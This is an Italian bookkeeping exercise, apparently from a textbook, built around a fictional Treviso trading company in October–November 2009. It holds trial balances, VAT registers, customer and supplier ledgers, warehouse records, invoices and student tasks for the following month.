000001	Terreni e fabbricati	80.000,00		
000005	Macchine d'ufficio	8.000,00		
			euro	88.000,00
103	CREDITI V/CLIENTI			
000004	Emme	7.763,90		
000005	Yankee	2.691,60		
000006	Zeta	7.211,61		
			euro	17.667,11
105	CREDITI COMMERCIALI			
000005	Cambiali attive	3.520,80		
000007	Cambiali all'incasso	15.012,20		
000011	Cambiali insolute	691,25		
			euro	19.224,25
106	CREDITI DIVERSI			
000001	IVA ns/credito	3.306,44		
			euro	3.306,44
108	DISPONIBILITÀ LIQUIDE			
000020	Assegni	3.699,60		
000030	Denaro in cassa	2.820,30		
			euro	6.519,90
197	CONTI BANCARI			
000020	Banca x c/c	15.041,40		
			euro	15.041,40
		TOTALE ATTIVO		149.759,10
		Perdita	==>	26.223,63
		TOTALE		175.982,73

PASSIVO				
102	IMMOBILIZZAZIONI MATERIALI			
000011	Fondo ammortamento fabbricati	22.515,00		
			euro	22.515,00
105	CREDITI COMMERCIALI			
000040	Fondo svalutazione crediti	1.317,00		
			euro	1.317,00
210	PATRIMONIO NETTO			
000001	Patrimonio netto	69.903,10		
			euro	69.903,10
212	DEBITI V/FORNITORI			
000004	Delta	33.430,19		
000005	Errex	25.448,62		
000006	Domenichelli	187,40		
			euro	59.066,21
214	DEBITI COMMERCIALI			

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2 di 3

BILANCIO DAL 30-09-2009 AL 31-10-2009

	000020 Cambiali passive	5.431,00		
			euro	5.431,00
215	DEBITI DIVERSI			
	000001 IVA ns/debito	3.587,20		
	000002 Debiti per ritenute da versare	875,00		
	000003 Debiti per imposte	1.100,00		
			euro	5.562,20
217	TRATTAMENTO FINE RAPPORTO			
	000001 Debiti per TFRL	9.000,00		
			euro	9.000,00
588	CONTI TRANSITORI			
	000011 Istituti previdenziali	3.188,22		
			euro	3.188,22
			TOTALE PASSIVO	175.982,73

CONTO ECONOMICO DAL 30-09-2009 AL 31-10-2009

RICAVI				
330	COSTI DELLE MATERIE/MERCI			
	000011 Ribassi e abbuoni attivi	102,00		
			euro	102,00
420	VALORE DELLA PRODUZIONE			
	000003 Rimborsi costi di vendita	263,20		
	000006 Merci c/vendite	69.842,00		
			euro	70.105,20
			TOTALE RICAVI	70.207,20
			Perdita ==>	26.223,63
			TOTALE	96.430,83
COSTI				
315	COSTI PER SERVIZI			
	000001 Costi di trasporto	434,16		
	000004 Consulenze	2.285,70		
	000013 Costi d'incasso	8,90		
			euro	2.728,76
322	COSTI PER IL PERSONALE			
	000001 Salari e stipendi	9.971,00		
	000002 Oneri sociali	5.457,00		
			euro	15.428,00
330	COSTI DELLE MATERIE/MERCI			
	000004 Merci c/acquisti	76.863,00		
			euro	76.863,00
341	ONERI FINANZIARI			
	000001 Interessi passivi verso fornitori	57,95		
	000040 Oneri finanziari diversi	193,12		
			euro	251,07
420	VALORE DELLA PRODUZIONE			

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 3 di 3

BILANCIO DAL 30-09-2009 AL 31-10-2009

	000010 Resi su vendite	720,00		
	000011 Ribassi e abbuoni passivi	440,00		
			euro	1.160,00
			TOTALE COSTI	96.430,83

Il presente bilancio è conforme alle scritture contabili. Firma

Errori comuni:

- la presenza del conto «merci», che si riferisce alle rimanenze finali, suggerisce che potrebbe essere stato usato erroneamente al posto di «merci c/acquisti» o di «merci

c/vendite»;

- la presenza di un errore che riguarda simultaneamente il conto «crediti v/clienti», «IVA n/debito», suggerisce la presenza di errori nella registrazione delle fatture di vendita o delle note di accredito a clienti;
- la presenza di un errore che riguarda simultaneamente il conto «debiti v/fornitori», «IVA n/credito», suggerisce la presenza di errori nella registrazione delle fatture di acquisto o delle note di accredito da fornitori;
- la presenza di un errore che riguarda simultaneamente le «cambiali attive» e il conto «crediti v/clienti», indica un problema con la contabilizzazione dell'emissione delle cambiali tratte;
- la presenza di errori con i conti «cambiali all'incasso» o «cambiali allo sconto», indica un problema con le registrazioni che riguardano rispettivamente la presentazione all'incasso e la presentazione allo sconto delle cambiali attive, oppure il loro mancato incasso e sconto conclusivo.

31 ottobre

Stampati i registri IVA degli acquisti e delle vendite.

- Stampare i registri IVA del mese di ottobre.

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro degli acquisti del mese di ottobre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Fornitore	Imponibile	Perc.	Imposta	Totale
1	02-10-2009	123	16-05-2009	Errex				
		fattura di acquisto	cod. 1	IVA al 20%	1.296,00	20,00%	259,20	1.555,20
2	09-10-2009	147	09-10-2009	Delta				
		fattura per interessi di mora	cod. 4	ESCLUSA art. 15	57,95	0,00%	0,00	57,95
3	12-10-2009	154	12-10-2009	Errex				
		acquisto da fornitore	cod. 1	IVA al 20%	2.385,00	20,00%	477,00	2.862,00
4	19-10-2009	155	19-10-2009	Delta				
		fattura di acquisto	cod. 1	IVA al 20%	6.395,00	20,00%	1.279,00	7.674,00
5	19-10-2009	366	17-10-2009	Domenichelli				
		fattura di trasporto	cod. 1	IVA al 20%	69,16	20,00%	13,84	83,00
6	27-10-2009	395	27-10-2009	Domenichelli				
		fattua di trasporto	cod. 1	IVA al 20%	87,00	20,00%	17,40	104,40
7	27-10-2009	170	27-10-2009	Delta				
		fattura da fornitore	cod. 1	IVA al 20%	6.300,00	20,00%	1.260,00	7.560,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**16.532,16**	**20.0%**	**3.306,44**	**19.838,60**
4	**ESCLUSA art. 15**	**57,95**	**0.0%**	**0,00**	**57,95**
TOTALE GENERALE		**16.590,11**		**3.306,44**	**19.896,55**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro delle fatture di vendita del mese di ottobre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
1	03-10-2009	1	03-10-2009	Zeta				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	2.850,00	20,00%	570,00	3.420,00
2	03-10-2009	1	03-10-2009	Yankee				
		NOTA CREDITO A CLIENTE	cod. 1	IVA al 20%	-300,00	20,00%	-60,00	-360,00
3	05-10-2009	2	05-10-2009	Zeta				
		NOTA CREDITO A CLIENTE	cod. 1	IVA al 20%	-57,00	20,00%	-11,40	-68,40
4	08-10-2009	2	08-10-2009	Emme				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	6.985,00	20,00%	1.397,00	8.382,00
			cod. 4	ESCLUSA art. 15	101,80	0,00%	0,00	101,80
5	13-10-2009	3	13-10-2009	Yankee				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	175,00	20,00%	35,00	210,00
			cod. 4	ESCLUSA art. 15	2,60	0,00%	0,00	2,60
6	17-10-2009	4	17-10-2009	Emme				
		FATTURA DIFFERITA A CLIENTE	cod. 1	IVA al 20%	5.200,00	20,00%	1.040,00	6.240,00
			cod. 4	ESCLUSA art. 15	75,80	0,00%	0,00	75,80
7	26-10-2009	5	26-10-2009	Zeta				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	3.803,00	20,00%	760,60	4.563,60
8	31-10-2009	3	31-10-2009	Zeta				
		NOTA CREDITO A CLIENTE	cod. 1	IVA al 20%	-720,00	20,00%	-144,00	-864,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**17.936,00**	**20.0%**	**3.587,20**	**21.523,20**
4	**ESCLUSA art. 15**	**180,20**	**0.0%**	**0,00**	**180,20**
TOTALE GENERALE		**18.116,20**		**3.587,20**	**21.703,40**

Errori comuni:

- scritture che appaiono in una data diversa dal previsto;
- numerazione errata dei documenti nel registro della fatture di acquisto;
- numerazione errata dei documenti nel registro della fatture di vendita.

31 ottobre

Viene visualizzato per controllo, senza stamparlo effettivamente, il partitario di clienti e fornitori. Si tratta precisamente dei clienti Emme, Yankee, Zeta, e dei fornitori Delta, Errex, Domenichelli.

- Stampare le schede dei clienti e dei fornitori utilizzati durante il mese di ottobre.

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Emme	103000004

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre		7.763,90		7.763,90
08-10-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.4 n.2 del 08-10-2009	8.483,80		16.247,70
17-10-2009	FATTURA DIFFERITA A CLIENTE	sez.1 p.6 n.4 del 17-10-2009	6.315,80		22.563,50
31-10-2009	EMESSA CAMBIALE TRATTA	sez.1 p.1 n.1 del 31-10-2009		8.483,80	14.079,70
31-10-2009	EMESSA CAMBIALE TRATTA	sez.1 p.3 n.3 del 31-10-2009		6.315,80	7.763,90
				SALDO al 31-10-2009 :	**7.763,90**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 2 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Yankee	103000005

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre		6.291,60		6.291,60
02-10-2009	riscossione fattura			3.240,00	3.051,60
03-10-2009	NOTA CREDITO A CLIENTE	sez.1 p.2 n.1 del 03-10-2009		360,00	2.691,60
13-10-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.5 n.3 del 13-10-2009	212,60		2.904,20
31-10-2009	EMESSA CAMBIALE TRATTA	sez.1 p.2 n.2 del 31-10-2009		212,60	2.691,60
				SALDO al 31-10-2009 :	**2.691,60**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 3 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Zeta	103000006

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre		7.211,61		7.211,61
03-10-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.1 n.1 del 03-10-2009	3.420,00		10.631,61
05-10-2009	riscossione fattura del 3 ottobre			3.351,60	7.280,01
05-10-2009	NOTA CREDITO A CLIENTE	sez.1 p.3 n.2 del 05-10-2009		68,40	7.211,61
26-10-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.7 n.5 del 26-10-2009	4.563,60		11.775,21
30-10-2009	riscossione fattura			3.699,60	8.075,61
31-10-2009	NOTA CREDITO A CLIENTE	sez.1 p.8 n.3 del 31-10-2009		864,00	7.211,61
				SALDO al 31-10-2009 :	**7.211,61**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Delta	212000004

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre			18.138,24	-18.138,24
05-10-2009	pagamento		3.351,60		-14.786,64
09-10-2009	fattura per interessi di mora	sez.1 p.2 n.147 del 09-10-2009		57,95	-14.844,59
19-10-2009	fattura di acquisto	sez.1 p.4 n.155 del 19-10-2009		7.674,00	-22.518,59
27-10-2009	fattura da fornitore	sez.1 p.7 n.170 del 27-10-2009		7.560,00	-30.078,59
				SALDO al 31-10-2009 :	**-30.078,59**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 2 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Errex	212000005

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre			21.031,42	-21.031,42
02-10-2009	fattura di acquisto	sez.1 p.1 n.123 del 16-05-2009		1.555,20	-22.586,62
12-10-2009	acquisto da fornitore	sez.1 p.3 n.154 del 12-10-2009		2.862,00	-25.448,62
				SALDO al 31-10-2009 :	**-25.448,62**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 3 di 3

TREVISO, lì 31 Ottobre 2009

Descrizione	Numero Conto
Domenichelli	212000006

PARTITARIO dal 30-09-2009 al 31-10-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
30-09-2009	situazione dei conti al 30 settembre			101,15	-101,15
02-10-2009	pagamento spese di trasporto		101,15		0,00
19-10-2009	fattura di trasporto	sez.1 p.5 n.366 del 17-10-2009		83,00	-83,00
27-10-2009	fattua di trasporto	sez.1 p.6 n.395 del 27-10-2009		104,40	-187,40
				SALDO al 31-10-2009 :	**-187,40**

31 ottobre

Viene stampato il giornale di magazzino e, per controllo, si visualizzino anche le schede di valorizzazione dei due articoli.

- Stampare il giornale di magazzino.
- Stampare le schede dei due articoli.

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Ottobre 2009

GIORNALE DI MAGAZZINO dal 01 ottobre 2009 al 31 ottobre 2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
02-10-2009	5-CARICO PER ACQUISTO	A - merce A	fattura 123 del 02-10-2009	0,60	1.296,00	pz	2400
03-10-2009	1-SCARICO PER VENDITA	B - merce B	Fattura Immediata n.1 prot.1/1 del 03-10-2009	1,00	2.850,00	pz	-2850
06-10-2009	5-CARICO PER ACQUISTO	B - merce B	ddt 243 del 06-10-2009	0,55	5.874,00	pz	10680
08-10-2009	1-SCARICO PER VENDITA	A - merce A	Fattura Immediata n.2 prot.4/1 del 08-10-2009	1,00	6.850,00	pz	-6850
12-10-2009	5-CARICO PER ACQUISTO	B - merce B	fattura 154 del 12-10-2009	0,50	2.385,00	pz	4770
13-10-2009	1-SCARICO PER VENDITA	A - merce A	Fattura Immediata n.3 prot.5/1 del 13-10-2009	1,00	175,00	pz	-175
17-10-2009	1-SCARICO PER VENDITA	B - merce B	D.d.T. di Vendita n.1 del 17-10-2009	1,00	5.200,00	pz	-5200
17-10-2009	5-CARICO PER ACQUISTO	A - merce A	ddt 264 del 17-10-2009	0,50	6.350,00	pz	12700
26-10-2009	1-SCARICO PER VENDITA	B - merce B	Fattura Immediata n.5 prot.7/1 del 26-10-2009	1,00	3.720,00	pz	-3720
27-10-2009	5-CARICO PER ACQUISTO	A - merce A	ddt 281 del 27-10-2009	0,60	6.300,00	pz	10500
31-10-2009	2-CARICO PER RESO DA CLI	B - merce B	Nota Credito a Cliente n.3 prot.8/1 del 31-10-2009	1,00	720,00	pz	720

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Ottobre 2009

Codice	Cat.Merc	Descrizione	U.M.	Scorta
A	1	merce A	pz	0,0

SCHEDA DI MAGAZZINO dal 01 ottobre 2009 al 31 ottobre 2009

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
02-10-2009	5-CARICO PER ACQUISTO	fattura 123 del 02-10-2009 - Errex	0,60	1.296,00	pz	2400	2400
08-10-2009	1-SCARICO PER VENDITA	Fattura Immediata n.2 prot.4/1 del 08-10-2009 - Emme	1,00	6.850,00	pz	-6850	-4450
13-10-2009	1-SCARICO PER VENDITA	Fattura Immediata n.3 prot.5/1 del 13-10-2009 - Yankee	1,00	175,00	pz	-175	-4625
17-10-2009	5-CARICO PER ACQUISTO	ddt 264 del 17-10-2009 - Delta	0,50	6.350,00	pz	12700	8075
27-10-2009	5-CARICO PER ACQUISTO	ddt 281 del 27-10-2009 - Delta	0,60	6.300,00	pz	10500	18575
						Consistenza al 31-10-2009 :	**18575**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Ottobre 2009

Codice	Cat.Merc	Descrizione	U.M.	Scorta
B	1	merce B	pz	0,0

SCHEDA DI MAGAZZINO dal 01 ottobre 2009 al 31 ottobre 2009

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
03-10-2009	1-SCARICO PER VENDITA	Fattura Immediata n.1 prot.1/1 del 03-10-2009 - Zeta	1,00	2.850,00	pz	-2850	-2850
06-10-2009	5-CARICO PER ACQUISTO	ddt 243 del 06-10-2009 - Delta	0,55	5.874,00	pz	10680	7830
12-10-2009	5-CARICO PER ACQUISTO	fattura 154 del 12-10-2009 - Errex	0,50	2.385,00	pz	4770	12600
17-10-2009	1-SCARICO PER VENDITA	D.d.T. di Vendita n.1 del 17-10-2009 - Emme	1,00	5.200,00	pz	-5200	7400
26-10-2009	1-SCARICO PER VENDITA	Fattura Immediata n.5 prot.7/1 del 26-10-2009 - Zeta	1,00	3.720,00	pz	-3720	3680
31-10-2009	2-CARICO PER RESO DA C	Nota Credito a Cliente n.3 prot.8/1 del 31-10-2009 - Zeta	1,00	720,00	pz	720	4400
						Consistenza al 31-10-2009 :	**4400**

127.12.1 Conclusione

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere:

- bilancio di verifica finale, al 31 ottobre;
- giornale di contabilità generale;
- registro delle fatture di acquisto;
- registro delle fatture di vendita;
- giornale di magazzino.

I documenti devono essere impaginati correttamente e ordinati come sopra indicato.

Si faccia attenzione all'ordine con cui vengono fornite le stampe, dal momento che questo è uno dei fattori determinanti all'interno della valutazione che se ne può ottenere.

Gli studenti che non riescono a terminare l'esercizio correttamente e che non riescono poi a rimediare devono ripetere l'esercitazione.

127.13 Verifica integrata guidata (int2) - terza parte

In questo capitolo si svolge una verifica in cui si simula, in breve, il mese successivo alla verifica del capitolo precedente. Pertanto, alcuni tipi di errori che potrebbero essere stati fatti nello svolgimento della verifica precedente possono ripercuotersi anche nella verifica che sta per iniziare. Ciò significa che, nel caso si rilevino errori, può rendersi necessario l'intervento anche sulle registrazioni riferite al periodo precedente.

In questo capitolo non c'è nulla di nuovo rispetto alla verifica precedente (che può essere consultata) e ciò che serve è spiegato nel testo. Pertanto, le operazioni non sono spiegate e si deve intendere dai dati riportati quale tipo di azione intraprendere con la procedura.

127.13.1 Le operazioni dal 1 novembre al 30 novembre

1 novembre

Ricevuta la fattura seguente.

```
.-------------------------------------------------------------------------------.
| D E L T A   s.p.a.                  | Spett.                                  |
| ...                                 | Ditta per le esercitazioni              |
|                                     | ...                                     |
|                                     | ...                                     |
|                                     |                                         |
|-------------------------------------------------------------------------------|
| Fattura n. 186/   del 31-10-1982                                              |
|-------------------------------------------------------------------------------|
| pagamento Ricevuta bancaria 60 gg d.f.  banca di appoggio: banca della valle |
|-------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|------------------------------------------------------------------------|
|      | Da documento di trasporto n. 243 del 06/10/1982 |                  |    |
| 97TR | Articolo «B»       |  10680 |       0,55 |      |       5.874,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|-----------------------------|
| Totale merce     5.874,00 |                     | Totale netto      5.874,00 |
|-------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|         5.874,00  |           20 |               1.174,80 |          5.874,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale IVA        |
|                   |              |                        |          1.174,80 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale fattura    |
|                   |              |                        |          7.048,80 |
|-----------------------------------------------------------|===================|
| Scadenze: 31/12/1982   7.048,80                                               |
'-------------------------------------------------------------------------------'
```

1 novembre

Liquidata l'IVA del mese precedente. I valori possono essere letti dai registri IVA del mese precedente.

IVA ns. debito	*liquidazione IVA*	***x***	
IVA ns. credito			***x***
Debito per IVA			***x***

6 novembre

Inviata merce alla ditta Zeta, con pagamento «vista fattura». Per ora si emette solo il documento di trasporto.

Descrizione Articolo	Quantità	Prezzo unitario
Articolo A	1200	1,05

9 novembre

Pagati oneri sociali a carico del datore di lavoro tramite banca per 3188,23 € (Istituti Previdenziali).

9 novembre

Pagate all'erario le ritenute operate durante il mese precedente sugli stipendi dei dipendenti. Il pagamento avviene tramite banca e l'importo è di 875,00 € (Debiti per ritenute da versare).

10 novembre

Paghiamo alla ditta Delta con A/B i nostri debiti in scadenza che ammontano a 5000,00 €.

11 novembre

Riceviamo dalla ditta Emme 2000,00 € in A/B in acconto dei crediti in scadenza.

12 novembre

Versiamo in banca l'assegno ricevuto dalla ditta Emme.

12 novembre

Versiamo in banca un altro assegno ricevuto in precedenza (il 30 ottobre dalla ditta ZETA) di 3699,60 €.

15 novembre

Paghiamo alla ditta Errex, con A/B, i nostri debiti in scadenza che ammontano a 5000,00 €.

16 novembre

Inviata merce alla ditta Emme, con pagamento «rimessa diretta a 30 giorni», ma per ora si emette solo il documento di trasporto.

Descrizione Articolo	Quantità	Prezzo Unitario
Articolo A	3000	1,05

20 novembre

Pagata l'IVA liquidata il 1 novembre, tramite banca.

22 novembre

Incassati dalla banca gli effetti presentati 31 ottobre (gli effetti in questione risultano emessi alla fine della prima parte della verifica, mentre nella seconda parte doveva apparire nel giornale di contabilità di ottobre la loro presentazione all'incasso, in quanto il programma li contabilizza direttamente così). Il valore nominale degli effetti era 15012,20 € e la banca ci addebita 120,00 € per spese di incasso (Oneri finanziari diversi).

30 novembre

Liquidati salari e stipendi per 6850,00 €, assegni familiari e indennità di malattia 205,00 €.

30 novembre

Pagate le retribuzioni a mezzo assegno bancario effettuando ritenute sociali per 606,22 € e ritenute fiscali per 875,00 €.

30 novembre

Liquidati contributi sociali a carico dell'azienda per 2787,00 €.

30 novembre

Vengono emesse le fatture relative ai documenti di trasporto di questo mese.

30 novembre

Vengono registrati in contabilità le fatture emesse.

30 novembre

Da `Fine anno`, `Controlli`, `Controllo sbilancio movimenti contabili`, si deve verificare la quadratura delle scritture contabili (in prima nota). Se si presentano errori, occorre procedere con le correzioni necessarie.

30 novembre

Vengono stampati i documenti dell'elenco seguente.

- Bilancio di verifica al 30 novembre.
- Libro giornale completo.
- Registro IVA acquisti di novembre.
- Registro IVA vendite di novembre.
- Giornale di magazzino completo.

127.13.2 Conclusione

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere.

- DDT del 6 novembre.
- DDT del 16 novembre.
- Fattura del DDT del 6 novembre.
- Fattura del DDT del 16 novembre.
- Bilancio di verifica finale.
- Giornale generale di contabilità, completo.
- Registro fatture di acquisto di novembre.
- Registro fatture di vendita di novembre.
- Giornale di magazzino, completo.

Se si riscontrano errori nel bilancio di verifica, è necessario individuare a quale periodo si riferiscono, perché potrebbe trattarsi di problemi ereditati dalla verifica precedente.
Se si trovano errori che appartengono al periodo precedente, questi vanno comunque corretti.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.2 del 06 Novembre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
A	merce A	pz	1200	1,05	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume

Pagamento - Banca
Vista fattura

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 06-11-2009 ora 08:58		

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.3 del 16 Novembre 2009
Pagina 1 di 1

Spett.le Emme
viale Libertà, 17
10100 Torino (TO)
C.F. e P.I. 02513310017

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
A	merce A	pz	3000	1,05	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume

Pagamento - Banca
Rimessa diretta 30 g.d.f.

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 16-11-2009 ora 09:19		

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura differita n.6 del 30 Novembre 2009
Pagina 1 di 1

Spett.le Emme
viale Libertà, 17
10100 Torino (TO)
C.F. e P.I. 02513310017

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
DA D.d.T. n. 3 del 16-11-2009							
A	merce A	pz	3000	1,05		3.150,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
3.150,00				3.150,00	630,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Rimessa diretta 30 g.d.f.	Imponibile	Aliquota	Imposta	**€ 3.780,00**
	3.150,00	IVA al 20%	630,00	

Date di Scadenza e Importo Rate				Totale dei riporti
30-12-2009 3.780,00	--	--	--	

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura differita n.7 del 30 Novembre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
DA D.d.T. n. 2 del 06-11-2009							
A	merce A	pz	1200	1,05		1.260,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
1.260,00				1.260,00	252,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Vista fattura	Imponibile	Aliquota	Imposta	€ 1.512,00
	1.260,00	IVA al 20%	252,00	

Date di Scadenza e Importo Rate				Totale dei riporti
30-11-2009 1.512,00	--	--	--	

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

BILANCIO DAL 30-09-2009 AL 30-11-2009

SITUAZIONE PATRIMONIALE AL 30-11-2009

ATTIVO				
102	IMMOBILIZZAZIONI MATERIALI			
000001	Terreni e fabbricati	80.000,00		
000005	Macchine d'ufficio	8.000,00		
			euro	88.000,00
103	CREDITI V/CLIENTI			
000004	Emme	9.543,90		
000005	Yankee	2.691,60		
000006	Zeta	8.723,61		
			euro	20.959,11
105	CREDITI COMMERCIALI			
000005	Cambiali attive	3.520,80		
000011	Cambiali insolute	691,25		
			euro	4.212,05
106	CREDITI DIVERSI			
000005	Crediti per IVA	894,04		
			euro	894,04
108	DISPONIBILITÀ LIQUIDE			
000030	Denaro in cassa	2.820,30		
			euro	2.820,30
197	CONTI BANCARI			
000020	Banca x c/c	21.569,98		
			euro	21.569,98
588	CONTI TRANSITORI			
000011	Istituti previdenziali	2.992,00		
			euro	2.992,00
			TOTALE ATTIVO	141.447,48
			Perdita ==>	31.870,63
			TOTALE	173.318,11

PASSIVO				
102	IMMOBILIZZAZIONI MATERIALI			
000011	Fondo ammortamento fabbricati	22.515,00		
			euro	22.515,00
105	CREDITI COMMERCIALI			
000040	Fondo svalutazione crediti	1.317,00		
			euro	1.317,00
210	PATRIMONIO NETTO			
000001	Patrimonio netto	69.903,10		
			euro	69.903,10
212	DEBITI V/FORNITORI			
000004	Delta	35.478,99		
000005	Errex	20.448,62		
000006	Domenichelli	187,40		
			euro	56.115,01

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

BILANCIO DAL 30-09-2009 AL 30-11-2009

214	DEBITI COMMERCIALI			
000020	Cambiali passive	5.431,00		
			euro	5.431,00
215	DEBITI DIVERSI			
000001	IVA ns/debito	882,00		
000003	Debiti per imposte	1.100,00		
000020	Personale c/retribuzioni	7.055,00		
			euro	9.037,00
217	TRATTAMENTO FINE RAPPORTO			
000001	Debiti per TFRL	9.000,00		
			euro	9.000,00
			TOTALE PASSIVO	173.318,11

CONTO ECONOMICO DAL 30-09-2009 AL 30-11-2009

RICAVI				
330	COSTI DELLE MATERIE/MERCI			
000011	Ribassi e abbuoni attivi	102,00		
			euro	102,00
420	VALORE DELLA PRODUZIONE			
000003	Rimborsi costi di vendita	263,20		
000006	Merci c/vendite	74.252,00		
			euro	74.515,20
			TOTALE RICAVI	74.617,20
			Perdita ==>	31.870,63
			TOTALE	106.487,83

COSTI				
315	COSTI PER SERVIZI			
000001	Costi di trasporto	434,16		
000004	Consulenze	2.285,70		
000013	Costi d'incasso	8,90		
			euro	2.728,76
322	COSTI PER IL PERSONALE			
000001	Salari e stipendi	16.821,00		
000002	Oneri sociali	2.670,00		
			euro	19.491,00
330	COSTI DELLE MATERIE/MERCI			
